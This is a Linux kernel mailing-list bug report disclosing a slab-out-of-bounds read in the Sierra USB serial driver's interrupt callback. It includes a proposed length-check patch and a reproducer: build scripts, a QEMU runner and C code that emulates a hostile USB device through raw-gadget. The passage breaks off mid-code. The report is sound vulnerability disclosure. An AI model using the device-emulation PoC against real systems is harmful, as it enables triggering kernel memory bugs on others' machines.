All of lore.kernel.org
 help / color / mirror / Atom feed
* [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet
@ 2026-07-14  3:37 Jay Vadayath
  2026-07-14  5:10 ` Greg Kroah-Hartman
  0 siblings, 1 reply; 2+ messages in thread
From: Jay Vadayath @ 2026-07-14  3:37 UTC (permalink / raw)
  To: Johan Hovold, Greg Kroah-Hartman
  Cc: linux-usb, linux-kernel, stable, Jay Vadayath

Hi,

I found a slab-out-of-bounds read in drivers/usb/serial/sierra.c that
is reachable from a malicious USB device.
This bug is similar to the one fixed in option.c by Jiale Yao on 2026-07-12
([PATCH] USB: serial: option: fix slab out-of-bounds read in option_instat_callback).

Summary
-------
sierra_instat_callback() handles the CDC-ACM-style SET_LINE_STATE
notification on the interrupt-IN endpoint. On status == 0 it:

  1. Reads the 8-byte usb_ctrlrequest header at transfer_buffer[0..7].
  2. If bRequestType/bRequest match 0xA1/0x20, reads a "signals" byte
     at transfer_buffer + sizeof(struct usb_ctrlrequest) - i.e. byte 8.

Neither read is bounded by urb->actual_length. The interrupt-IN
buffer is allocated by the driver's port-setup with
kmalloc(usb_endpoint_maxp(epd)), sized to the device-declared
endpoint wMaxPacketSize. A hostile device advertising
wMaxPacketSize=8 on its interrupt-IN endpoint pulls the buffer
from kmalloc-8 (exactly 8 bytes). When such a device then delivers
an 8-byte packet whose first two bytes are 0xA1 0x20, the callback
reads transfer_buffer[8] - exactly one byte past the end of the
slab object. KASAN flags this as slab-out-of-bounds.

Vulnerable code
---------------
drivers/usb/serial/sierra.c, sierra_instat_callback() (~line 573):

    if (status == 0) {
        struct usb_ctrlrequest *req_pkt = urb->transfer_buffer;

        if (!req_pkt) {
            dev_dbg(&port->dev, "%s: NULL req_pkt\n", __func__);
            return;
        }
        if ((req_pkt->bRequestType == 0xA1) &&
                (req_pkt->bRequest == 0x20)) {
            int old_dcd_state;
            unsigned char signals = *((unsigned char *)
                    urb->transfer_buffer +
                    sizeof(struct usb_ctrlrequest));   /* OOB when maxp==8 */

Affected versions
-----------------
Confirmed still present on master as of 2026-07-13 (HEAD 3b029c035b34bbc693405ddf759f0e9b920c27f1).

KASAN report
------------
Captured on v7.2.0-rc3, x86_64, QEMU + dummy_hcd.

BUG: KASAN: slab-out-of-bounds in sierra_instat_callback+0x599/0x5d0
Read of size 1 at addr ffff888003dedf88 by task swapper/0/0

Call Trace:
 <IRQ>
 sierra_instat_callback+0x599/0x5d0
 __usb_hcd_giveback_urb+0x23f/0x3f0
 dummy_timer+0xfe1/0x3470
 __hrtimer_run_queues+0x252/0x5a0
 hrtimer_run_softirq+0x1a4/0x3b0
 handle_softirqs+0x1bd/0x620
 __irq_exit_rcu+0x68/0x140
 sysvec_apic_timer_interrupt+0x6c/0x80
 </IRQ>

Allocated by task 11:
 __kmalloc_noprof+0x1bc/0x490
 usb_serial_probe+0x1c66/0x3fe0
 usb_probe_interface+0x279/0x980
 [... device_add/hub_event probe chain ...]

Reproducer
----------
The artifacts inlined below can be used to reproduce the bug.
Required kernel config options (delta on top of x86_64_defconfig):

  CONFIG_KASAN=y
  CONFIG_KASAN_GENERIC=y
  CONFIG_USB_SERIAL=y
  CONFIG_USB_SERIAL_SIERRAWIRELESS=y
  CONFIG_USB_GADGET=y
  CONFIG_USB_DUMMY_HCD=y
  CONFIG_USB_RAW_GADGET=y

Related work
------------
Jiale Yao posted an identical-class fix for the parallel bug in
option.c on 2026-07-12:

  [PATCH] USB: serial: option: fix slab out-of-bounds read in
          option_instat_callback
  https://lore.kernel.org/all/20260712170012.3503601-1-yaojiale02@163.com/

option_instat_callback() and sierra_instat_callback() are nearly
line-for-line copies.
The two fixes should probably land together.

Proposed fix
------------
Validate urb->actual_length before dereferencing the header, and
require one more byte before reading the signals field. The fix
below preserves sierra's existing "!req_pkt" NULL-check and layers
the length check as an additional guard; happy to reshape it to
match Jiale's idiom exactly (single combined "actual_length <
sizeof(*req_pkt) + 1" check, placed before the 0xA1/0x20 branch)
if that's preferred for cross-driver consistency.

diff --git a/drivers/usb/serial/sierra.c b/drivers/usb/serial/sierra.c
--- a/drivers/usb/serial/sierra.c
+++ b/drivers/usb/serial/sierra.c
@@ -570,13 +570,18 @@ static void sierra_instat_callback(struct urb *urb)
 	if (status == 0) {
 		struct usb_ctrlrequest *req_pkt = urb->transfer_buffer;

-		if (!req_pkt) {
-			dev_dbg(&port->dev, "%s: NULL req_pkt\n",
+		/*
+		 * The interrupt-in buffer is sized to the device-declared
+		 * endpoint wMaxPacketSize; validate the device actually sent a
+		 * full control-request header (and the trailing signal byte)
+		 * before dereferencing it, or a short packet causes an OOB read.
+		 */
+		if (!req_pkt || urb->actual_length < sizeof(*req_pkt)) {
+			dev_dbg(&port->dev, "%s: NULL/short req_pkt\n",
 				__func__);
-			return;
-		}
-		if ((req_pkt->bRequestType == 0xA1) &&
-				(req_pkt->bRequest == 0x20)) {
+		} else if ((req_pkt->bRequestType == 0xA1) &&
+				(req_pkt->bRequest == 0x20) &&
+				urb->actual_length >= sizeof(*req_pkt) + 1) {
 			int old_dcd_state;
 			unsigned char signals = *((unsigned char *)
 					urb->transfer_buffer +

Reported-by: Jay Vadayath <jkrshnmenon@gmail.com>

Thanks,

--- build.sh ---
#!/bin/bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO="${1:?Usage: $0 <kernel-source-dir>}"
REPO="$(cd "$REPO" && pwd)"

CONFIG_SRC="$SCRIPT_DIR/387ee687512d2acd32d1d47ebcb1972e.config"

# sccache setup
export KBUILD_BUILD_TIMESTAMP=""
if command -v sccache &>/dev/null; then
    export CC="sccache gcc"
    echo "[build] Using sccache"
else
    export CC="gcc"
    echo "[build] sccache not found, using gcc directly"
fi

NPROC=$(nproc)

build_variant() {
    local variant="$1"
    local build_dir="$SCRIPT_DIR/builds/$variant"
    mkdir -p "$build_dir"

    echo "[build] ===== Building variant: $variant ====="

    # Copy base config
    cp "$CONFIG_SRC" "$REPO/.config"

    # Adjust config per variant
    case "$variant" in
        asan)
            # Config already has KASAN enabled, just ensure it
            "$REPO/scripts/config" --file "$REPO/.config" \
                -e KASAN -e KASAN_GENERIC -e KASAN_INLINE -e KASAN_STACK \
                -d KASAN_OUTLINE
            ;;
        *)
            echo "[build] Unknown variant: $variant"
            return 1
            ;;
    esac

    # Finalize config
    make -C "$REPO" olddefconfig > "$build_dir/config.log" 2>&1

    # Build kernel
    echo "[build] Building kernel for $variant ..."
    make -C "$REPO" -j"$NPROC" bzImage > "$build_dir/build.log" 2>&1 || {
        echo "[build] FAILED: see $build_dir/build.log"
        tail -30 "$build_dir/build.log"
        return 1
    }

    # Copy bzImage
    cp "$REPO/arch/x86/boot/bzImage" "$build_dir/bzImage"
    echo "[build] $variant bzImage -> $build_dir/bzImage"

    # Save config
    cp "$REPO/.config" "$build_dir/.config"
}

# Build the PoC binary (static, for initramfs)
echo "[build] Compiling PoC..."
gcc -O2 -static -pthread \
    -o "$SCRIPT_DIR/poc.bin" "$SCRIPT_DIR/poc.c" \
    || { echo "[build] PoC compilation failed"; exit 1; }
echo "[build] PoC compiled -> $SCRIPT_DIR/poc.bin"

# Build ASAN variant (the config already has KASAN)
build_variant asan

echo "[build] All builds complete."
echo "[build] Building initramfs..."
bash "$SCRIPT_DIR/build_initramfs.sh"
echo "[build] Done."


--- end build.sh ---

--- build_initramfs.sh ---
#!/usr/bin/env bash
# build_initramfs.sh - Minimal initramfs for the sierra_instat_callback
# reproducer: BusyBox static + /init + PoC binary. No SSH, no user
# accounts, no networking - the PoC runs at boot as root and powers off.
#
# Usage: ./build_initramfs.sh [-o <output_path>]

set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUTPUT="$SCRIPT_DIR/initramfs/initramfs.cpio.gz"

# --- argument parsing ---
while [[ $# -gt 0 ]]; do
    case "$1" in
        -o|--output) OUTPUT="$2"; shift 2 ;;
        -h|--help)   sed -n '2,6p' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
        *)           echo "Unknown option: $1" >&2; exit 1 ;;
    esac
done
OUTPUT="$(realpath -m "$OUTPUT")"

command -v busybox >/dev/null 2>&1 \
    || { echo "busybox not found (install: sudo apt install busybox-static)" >&2; exit 1; }
BUSYBOX_BIN="$(command -v busybox)"

WORKDIR="$(mktemp -d /tmp/initramfs_build.XXXXXX)"
trap 'rm -rf "$WORKDIR"' EXIT
ROOT="$WORKDIR/rootfs"

mkdir -p "$ROOT"/{bin,sbin,dev,proc,sys,tmp,run,etc}

# --- BusyBox + applets ---
cp "$BUSYBOX_BIN" "$ROOT/bin/busybox"
chmod +x "$ROOT/bin/busybox"
for applet in $("$BUSYBOX_BIN" --list); do
    ln -s /bin/busybox "$ROOT/bin/$applet" 2>/dev/null || true
done

# --- /init ---
cat > "$ROOT/init" <<'INIT'
#!/bin/sh
export PATH=/bin:/sbin:/usr/bin:/usr/sbin

mount -t proc     proc  /proc
mount -t sysfs    sysfs /sys
mount -t devtmpfs dev   /dev
mount -t tmpfs    tmpfs /tmp
mount -t tmpfs    tmpfs /run

exec > /dev/console 2>&1
exec < /dev/console

# Let KASAN reports through
echo 7 > /proc/sys/kernel/printk 2>/dev/null || true

if [ -x /poc ]; then
    /poc 2>&1
    echo "[init] /poc exited with status $?"
    poweroff -f
fi
exec /bin/sh
INIT
chmod +x "$ROOT/init"

# --- PoC binary ---
if [[ -f "$SCRIPT_DIR/poc.bin" ]]; then
    cp "$SCRIPT_DIR/poc.bin" "$ROOT/poc"
    chmod +x "$ROOT/poc"
else
    echo "warning: $SCRIPT_DIR/poc.bin not found; run build.sh first" >&2
fi

# --- Minimum /dev nodes (devtmpfs at runtime supplants these) ---
(
    cd "$ROOT/dev"
    _SUDO="$(command -v fakeroot 2>/dev/null || echo sudo)"
    $_SUDO mknod -m 622 console c 5 1 2>/dev/null || true
    $_SUDO mknod -m 666 null    c 1 3 2>/dev/null || true
)

# --- Pack ---
mkdir -p "$(dirname "$OUTPUT")"
( cd "$ROOT"; find . | cpio -o -H newc 2>/dev/null ) | gzip -9 > "$OUTPUT"

echo "initramfs: $OUTPUT ($(du -k "$OUTPUT" | cut -f1) KiB)"


--- end build_initramfs.sh ---

--- poc.sh ---

#!/bin/bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LOGS_DIR="$SCRIPT_DIR/logs"
rm -rf "$LOGS_DIR"
mkdir -p "$LOGS_DIR/asan"

BZIMAGE="$SCRIPT_DIR/builds/asan/bzImage"
INITRAMFS="$SCRIPT_DIR/initramfs/initramfs.cpio.gz"

if [[ ! -f "$BZIMAGE" ]]; then
    echo "[poc.sh] ERROR: $BZIMAGE not found. Run build.sh first."
    exit 1
fi
if [[ ! -f "$INITRAMFS" ]]; then
    echo "[poc.sh] ERROR: $INITRAMFS not found. Run build.sh first."
    exit 1
fi

# Determine QEMU acceleration
ACCEL="-accel tcg"
if [[ -e /dev/kvm ]] && [[ -w /dev/kvm ]]; then
    ACCEL="-accel kvm"
    echo "[poc.sh] Using KVM acceleration"
else
    echo "[poc.sh] Using TCG (no KVM)"
fi

SERIAL_LOG="$LOGS_DIR/asan/serial.log"
TIMEOUT=180

echo "[poc.sh] Booting ASAN kernel variant..."
echo "[poc.sh] Serial log -> $SERIAL_LOG"

# Boot QEMU with KASAN kernel
# Use loglevel=3 (KERN_ERR) to capture KASAN reports while being quiet
# kasan_multi_shot: allow multiple KASAN reports without halting
timeout "$TIMEOUT" qemu-system-x86_64 \
    $ACCEL \
    -m 2048 \
    -smp 2 \
    -kernel "$BZIMAGE" \
    -initrd "$INITRAMFS" \
    -append "console=ttyS0 root=/dev/ram rdinit=/init quiet loglevel=3 printk.devkmsg=off kasan_multi_shot=1" \
    -serial file:"$SERIAL_LOG" \
    -display none \
    -monitor none \
    -no-reboot \
    -net none \
    2>/dev/null || true

sleep 1

echo "[poc.sh] QEMU exited. Checking logs..."

# Also collect dmesg-like output from serial log
cp "$SERIAL_LOG" "$LOGS_DIR/asan/dmesg.log" 2>/dev/null || true

# Check for the target crash signature
echo ""
echo "===== Checking for KASAN slab-out-of-bounds in sierra_instat_callback ====="
if grep -q "BUG: KASAN: slab-out-of-bounds in sierra_instat_callback" "$SERIAL_LOG" 2>/dev/null; then
    echo "[poc.sh] SUCCESS: Found target crash signature!"
    echo ""
    echo "--- KASAN Report ---"
    grep -A 50 "BUG: KASAN: slab-out-of-bounds in sierra_instat_callback" "$SERIAL_LOG" | strings | head -60
    echo ""
    echo "--- Allocation trace ---"
    grep -A 20 "Allocated by task" "$SERIAL_LOG" | strings | head -25
    echo "---"
else
    echo "[poc.sh] Crash signature NOT found. Checking for any KASAN report..."
    if grep -q "BUG: KASAN" "$SERIAL_LOG" 2>/dev/null; then
        echo "[poc.sh] Found KASAN report (may not match target):"
        grep -B2 -A 30 "BUG: KASAN" "$SERIAL_LOG" | strings | head -40
    else
        echo "[poc.sh] No KASAN report found."
        echo "[poc.sh] Last 50 lines of serial log:"
        tail -50 "$SERIAL_LOG" 2>/dev/null | strings || echo "(empty)"
    fi
fi

echo ""
echo "===== Full serial log available at: $SERIAL_LOG ====="


--- end poc.sh ---

--- poc.c ---

// SPDX-License-Identifier: 0BSD
// PoC for sierra_instat_callback OOB read via raw-gadget + dummy_hcd
//
// Build: gcc -O2 -static -pthread -o poc poc.c

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <endian.h>
#ifndef cpu_to_le16
#define cpu_to_le16(x) htole16(x)
#endif
#ifndef le16_to_cpu
#define le16_to_cpu(x) le16toh(x)
#endif

#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static int fd_raw = -1;
static uint16_t ep_bulk_in_handle;
static uint16_t ep_bulk_out_handle;
static uint16_t ep_int_in_handle;

static int ep0_write(const void *buf, size_t len) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[1024];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = 0;
    req.io.flags = 0;
    req.io.length = (uint32_t)len;
    if (len) memcpy(req.data, buf, len);
    return ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &req);
}

static int ep0_read(void *buf, size_t bufsz) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[1024];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = 0;
    req.io.flags = 0;
    req.io.length = (uint32_t)bufsz;
    int ret = ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &req);
    if (ret < 0) return -1;
    if (buf && ret > 0) memcpy(buf, req.data, ret > (int)bufsz ? (int)bufsz : ret);
    return ret;
}

static int ep0_stall(void) {
    return ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}

static int ep_write(uint16_t eph, const void *buf, size_t len) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[4096];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = eph;
    req.io.flags = 0;
    req.io.length = (uint32_t)len;
    if (len) memcpy(req.data, buf, len);
    return ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &req);
}

/* Packed 7-byte endpoint descriptor for config blob */
struct ep7 {
    uint8_t bLength;
    uint8_t bDescriptorType;
    uint8_t bEndpointAddress;
    uint8_t bmAttributes;
    uint16_t wMaxPacketSize;
    uint8_t bInterval;
} __attribute__((packed));

/* Descriptors */
static struct usb_device_descriptor dev_desc;
static struct usb_qualifier_descriptor qual_desc;

/* Config blob: 9 (config) + 9 (interface) + 7*3 (endpoints) = 39 bytes */
static uint8_t cfg_buf[256];
static size_t cfg_len;

static struct usb_endpoint_descriptor ep_bulk_out_desc;
static struct usb_endpoint_descriptor ep_bulk_in_desc;
static struct usb_endpoint_descriptor ep_int_in_desc;

static uint8_t addr_bulk_out;
static uint8_t addr_bulk_in;
static uint8_t addr_int_in;

static void pick_eps(void) {
    struct usb_raw_eps_info eps;
    memset(&eps, 0, sizeof(eps));
    int n = ioctl(fd_raw, USB_RAW_IOCTL_EPS_INFO, &eps);
    if (n < 0) die("EPS_INFO");
    addr_bulk_out = 0;
    addr_bulk_in = 0;
    addr_int_in = 0;
    for (int i = 0; i < n; i++) {
        struct usb_raw_ep_info *e = &eps.eps[i];
        if (!e->name[0]) continue;
        if (!addr_bulk_in && e->caps.type_bulk && e->caps.dir_in)
            addr_bulk_in = (uint8_t)(e->addr | USB_DIR_IN);
        if (!addr_bulk_out && e->caps.type_bulk && e->caps.dir_out)
            addr_bulk_out = (uint8_t)(e->addr & 0x7f);
        if (!addr_int_in && e->caps.type_int && e->caps.dir_in)
            addr_int_in = (uint8_t)(e->addr | USB_DIR_IN);
    }
    if (!addr_bulk_out || addr_bulk_out == USB_RAW_EP_ADDR_ANY) addr_bulk_out = 1;
    if (!addr_bulk_in || addr_bulk_in == USB_RAW_EP_ADDR_ANY) addr_bulk_in = USB_DIR_IN | 1;
    if (!addr_int_in || addr_int_in == USB_RAW_EP_ADDR_ANY) addr_int_in = USB_DIR_IN | 2;
    fprintf(stderr, "[poc] EPs: bout=0x%02x bin=0x%02x iin=0x%02x\n",
            addr_bulk_out, addr_bulk_in, addr_int_in);
}

static void build_descriptors(void) {
    memset(&dev_desc, 0, sizeof(dev_desc));
    dev_desc.bLength = USB_DT_DEVICE_SIZE;
    dev_desc.bDescriptorType = USB_DT_DEVICE;
    dev_desc.bcdUSB = cpu_to_le16(0x0200);
    dev_desc.bMaxPacketSize0 = 64;
    dev_desc.idVendor = cpu_to_le16(0x1199);
    dev_desc.idProduct = cpu_to_le16(0x0019);
    dev_desc.bcdDevice = cpu_to_le16(0x0100);
    dev_desc.iManufacturer = 1;
    dev_desc.iProduct = 2;
    dev_desc.iSerialNumber = 3;
    dev_desc.bNumConfigurations = 1;

    memset(&qual_desc, 0, sizeof(qual_desc));
    qual_desc.bLength = sizeof(qual_desc);
    qual_desc.bDescriptorType = USB_DT_DEVICE_QUALIFIER;
    qual_desc.bcdUSB = cpu_to_le16(0x0200);
    qual_desc.bMaxPacketSize0 = 64;
    qual_desc.bNumConfigurations = 1;

    /* Full 9-byte endpoint descriptors for EP_ENABLE */
    memset(&ep_bulk_out_desc, 0, sizeof(ep_bulk_out_desc));
    ep_bulk_out_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_bulk_out_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_bulk_out_desc.bEndpointAddress = addr_bulk_out;
    ep_bulk_out_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep_bulk_out_desc.wMaxPacketSize = cpu_to_le16(512);

    memset(&ep_bulk_in_desc, 0, sizeof(ep_bulk_in_desc));
    ep_bulk_in_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_bulk_in_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_bulk_in_desc.bEndpointAddress = addr_bulk_in;
    ep_bulk_in_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep_bulk_in_desc.wMaxPacketSize = cpu_to_le16(512);

    memset(&ep_int_in_desc, 0, sizeof(ep_int_in_desc));
    ep_int_in_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_int_in_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_int_in_desc.bEndpointAddress = addr_int_in;
    ep_int_in_desc.bmAttributes = USB_ENDPOINT_XFER_INT;
    ep_int_in_desc.wMaxPacketSize = cpu_to_le16(8);
    ep_int_in_desc.bInterval = 1;

    /* Build the config descriptor blob manually to avoid alignment issues */
    uint8_t *p = cfg_buf;

    /* Config descriptor (9 bytes) */
    struct usb_config_descriptor cfg;
    memset(&cfg, 0, sizeof(cfg));
    cfg.bLength = USB_DT_CONFIG_SIZE;
    cfg.bDescriptorType = USB_DT_CONFIG;
    /* wTotalLength filled below */
    cfg.bNumInterfaces = 1;
    cfg.bConfigurationValue = 1;
    cfg.bmAttributes = 0x80;
    cfg.bMaxPower = 50;
    memcpy(p, &cfg, 9); p += 9;

    /* Interface descriptor (9 bytes) */
    struct usb_interface_descriptor intf;
    memset(&intf, 0, sizeof(intf));
    intf.bLength = USB_DT_INTERFACE_SIZE;
    intf.bDescriptorType = USB_DT_INTERFACE;
    intf.bInterfaceNumber = 0;
    intf.bNumEndpoints = 3;
    intf.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
    intf.bInterfaceSubClass = 0xff;
    intf.bInterfaceProtocol = 0xff;
    memcpy(p, &intf, 9); p += 9;

    /* Endpoint descriptors (7 bytes each, packed manually) */
    struct ep7 ep;

    /* Bulk OUT */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_bulk_out;
    ep.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep.wMaxPacketSize = cpu_to_le16(512);
    ep.bInterval = 0;
    memcpy(p, &ep, 7); p += 7;

    /* Bulk IN */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_bulk_in;
    ep.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep.wMaxPacketSize = cpu_to_le16(512);
    ep.bInterval = 0;
    memcpy(p, &ep, 7); p += 7;

    /* Interrupt IN (wMaxPacketSize = 8: CRITICAL for OOB) */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_int_in;
    ep.bmAttributes = USB_ENDPOINT_XFER_INT;
    ep.wMaxPacketSize = cpu_to_le16(8);
    ep.bInterval = 1;
    memcpy(p, &ep, 7); p += 7;

    cfg_len = (size_t)(p - cfg_buf);
    /* Patch wTotalLength */
    cfg_buf[2] = (uint8_t)(cfg_len & 0xff);
    cfg_buf[3] = (uint8_t)((cfg_len >> 8) & 0xff);

    fprintf(stderr, "[poc] Config blob: %zu bytes total\n", cfg_len);
}

static void build_string_desc(uint8_t idx, uint8_t *out, size_t *out_len) {
    if (idx == 0) {
        out[0] = 4; out[1] = USB_DT_STRING;
        out[2] = 0x09; out[3] = 0x04;
        *out_len = 4;
        return;
    }
    const char *s = (idx == 1) ? "Sierra" : (idx == 2) ? "AirCard" : "poc0";
    size_t sl = strlen(s);
    size_t total = 2 + sl * 2;
    out[0] = (uint8_t)total;
    out[1] = USB_DT_STRING;
    for (size_t i = 0; i < sl; i++) {
        out[2 + 2*i] = (uint8_t)s[i];
        out[2 + 2*i + 1] = 0;
    }
    *out_len = total;
}

static volatile int threads_run = 1;

static void *bulk_in_thread(void *arg) {
    (void)arg;
    uint8_t buf[512];
    memset(buf, 0, sizeof(buf));
    while (threads_run) {
        int r = ep_write(ep_bulk_in_handle, buf, sizeof(buf));
        if (r < 0) {
            if (errno == ESHUTDOWN || errno == ENODEV)
                break;
            usleep(10000);
        }
    }
    return NULL;
}

int main(int argc, char **argv) {
    (void)argc; (void)argv;

    fprintf(stderr, "[poc] Sierra OOB read PoC starting\n");

    fd_raw = open("/dev/raw-gadget", O_RDWR | O_CLOEXEC);
    if (fd_raw < 0) die("open /dev/raw-gadget");

    /* Discover UDC */
    char udc_name[128] = {0};
    char driver_name[128] = {0};
    DIR *d = opendir("/sys/class/udc");
    if (!d) die("opendir /sys/class/udc");
    struct dirent *de;
    while ((de = readdir(d)) != NULL) {
        if (de->d_name[0] == '.') continue;
        snprintf(udc_name, sizeof(udc_name), "%s", de->d_name);
        break;
    }
    closedir(d);
    if (!udc_name[0]) { fprintf(stderr, "[poc] No UDC\n"); return 1; }

    if (!strncmp(udc_name, "dummy_udc", 9))
        snprintf(driver_name, sizeof(driver_name), "dummy_udc");
    else
        snprintf(driver_name, sizeof(driver_name), "%s", udc_name);

    fprintf(stderr, "[poc] UDC: device=%s driver=%s\n", udc_name, driver_name);

    struct usb_raw_init init;
    memset(&init, 0, sizeof(init));
    snprintf((char *)init.driver_name, sizeof(init.driver_name), "%s", driver_name);
    snprintf((char *)init.device_name, sizeof(init.device_name), "%s", udc_name);
    init.speed = USB_SPEED_HIGH;

    if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) die("INIT");
    if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) die("RUN");

    fprintf(stderr, "[poc] Raw gadget running\n");

    int configured = 0;

    while (!configured) {
        uint8_t evbuf[512];
        memset(evbuf, 0, sizeof(evbuf));
        struct usb_raw_event *ev = (struct usb_raw_event *)evbuf;
        ev->length = sizeof(evbuf) - sizeof(*ev);

        if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, ev) < 0) {
            if (errno == EINTR) continue;
            die("EVENT_FETCH");
        }

        if (ev->type == USB_RAW_EVENT_CONNECT) {
            fprintf(stderr, "[poc] CONNECT\n");
            pick_eps();
            build_descriptors();
            continue;
        }
        if (ev->type == USB_RAW_EVENT_RESET) {
            fprintf(stderr, "[poc] RESET\n");
            continue;
        }
        if (ev->type != USB_RAW_EVENT_CONTROL) {
            fprintf(stderr, "[poc] event type=%u\n", ev->type);
            continue;
        }
        if (ev->length < sizeof(struct usb_ctrlrequest)) continue;

        struct usb_ctrlrequest *setup = (struct usb_ctrlrequest *)ev->data;
        uint8_t bmReqType = setup->bRequestType;
        uint8_t bReq = setup->bRequest;
        uint16_t wValue = le16_to_cpu(setup->wValue);
        uint16_t wIndex = le16_to_cpu(setup->wIndex);
        uint16_t wLength = le16_to_cpu(setup->wLength);

        fprintf(stderr, "[poc] CTRL: rt=0x%02x rq=0x%02x val=0x%04x idx=0x%04x len=%u\n",
                bmReqType, bReq, wValue, wIndex, wLength);

        if ((bmReqType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
            if (bReq == USB_REQ_GET_DESCRIPTOR) {
                uint8_t dtype = (wValue >> 8) & 0xff;
                uint8_t dindex = wValue & 0xff;
                if (dtype == USB_DT_DEVICE) {
                    size_t n = sizeof(dev_desc);
                    if (n > wLength) n = wLength;
                    ep0_write(&dev_desc, n);
                } else if (dtype == USB_DT_CONFIG) {
                    size_t n = cfg_len;
                    if (n > wLength) n = wLength;
                    ep0_write(cfg_buf, n);
                } else if (dtype == USB_DT_STRING) {
                    uint8_t sbuf[128];
                    size_t slen = 0;
                    build_string_desc(dindex, sbuf, &slen);
                    if (slen > wLength) slen = wLength;
                    ep0_write(sbuf, slen);
                } else if (dtype == USB_DT_DEVICE_QUALIFIER) {
                    size_t n = sizeof(qual_desc);
                    if (n > wLength) n = wLength;
                    ep0_write(&qual_desc, n);
                } else {
                    ep0_stall();
                }
                continue;
            }
            if (bReq == USB_REQ_SET_CONFIGURATION) {
                fprintf(stderr, "[poc] SET_CONFIGURATION %u\n", wValue);
                ep0_read(NULL, 0);
                if (ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0) < 0) die("CONFIGURE");
                int h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_bulk_out_desc);
                if (h < 0) die("EP_ENABLE bulk_out");
                ep_bulk_out_handle = (uint16_t)h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_bulk_in_desc);
                if (h < 0) die("EP_ENABLE bulk_in");
                ep_bulk_in_handle = (uint16_t)h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_int_in_desc);
                if (h < 0) die("EP_ENABLE int_in");
                ep_int_in_handle = (uint16_t)h;
                fprintf(stderr, "[poc] EPs enabled: bout=%u bin=%u iin=%u\n",
                        ep_bulk_out_handle, ep_bulk_in_handle, ep_int_in_handle);
                configured = 1;
                continue;
            }
            if (bReq == USB_REQ_SET_INTERFACE) {
                ep0_read(NULL, 0);
                continue;
            }
            if (bReq == USB_REQ_GET_STATUS) {
                uint16_t status = 0;
                size_t n = 2;
                if (n > wLength) n = wLength;
                ep0_write(&status, n);
                continue;
            }
            if (!(bmReqType & USB_DIR_IN) && wLength == 0) {
                ep0_read(NULL, 0);
                continue;
            }
        }
        /* Vendor/class requests */
        if (!(bmReqType & USB_DIR_IN) && wLength == 0) {
            ep0_read(NULL, 0);
        } else if (!(bmReqType & USB_DIR_IN)) {
            uint8_t tmpbuf[1024];
            ep0_read(tmpbuf, wLength);
        } else {
            ep0_stall();
        }
    }

    fprintf(stderr, "[poc] Configured. Starting bulk-in feeder.\n");

    pthread_t bulkin_tid;
    pthread_create(&bulkin_tid, NULL, bulk_in_thread, NULL);

    fprintf(stderr, "[poc] Waiting for /dev/ttyUSB0...\n");
    for (int i = 0; i < 200; i++) {
        if (access("/dev/ttyUSB0", F_OK) == 0) break;
        usleep(50000);
    }

    fprintf(stderr, "[poc] Opening /dev/ttyUSB0 (with retries)...\n");
    int ttyfd = -1;
    for (int attempt = 0; attempt < 50 && ttyfd < 0; attempt++) {
        ttyfd = open("/dev/ttyUSB0", O_RDWR | O_NOCTTY | O_CLOEXEC);
        if (ttyfd >= 0) break;
        if (errno == EACCES) {
            /* Permission not yet set by init helper */
            usleep(100000);
            continue;
        }
        /* Try other ttyUSB devices */
        for (int n = 1; n < 5 && ttyfd < 0; n++) {
            char path[32];
            snprintf(path, sizeof(path), "/dev/ttyUSB%d", n);
            ttyfd = open(path, O_RDWR | O_NOCTTY | O_CLOEXEC);
            if (ttyfd >= 0) {
                fprintf(stderr, "[poc] Opened %s\n", path);
            }
        }
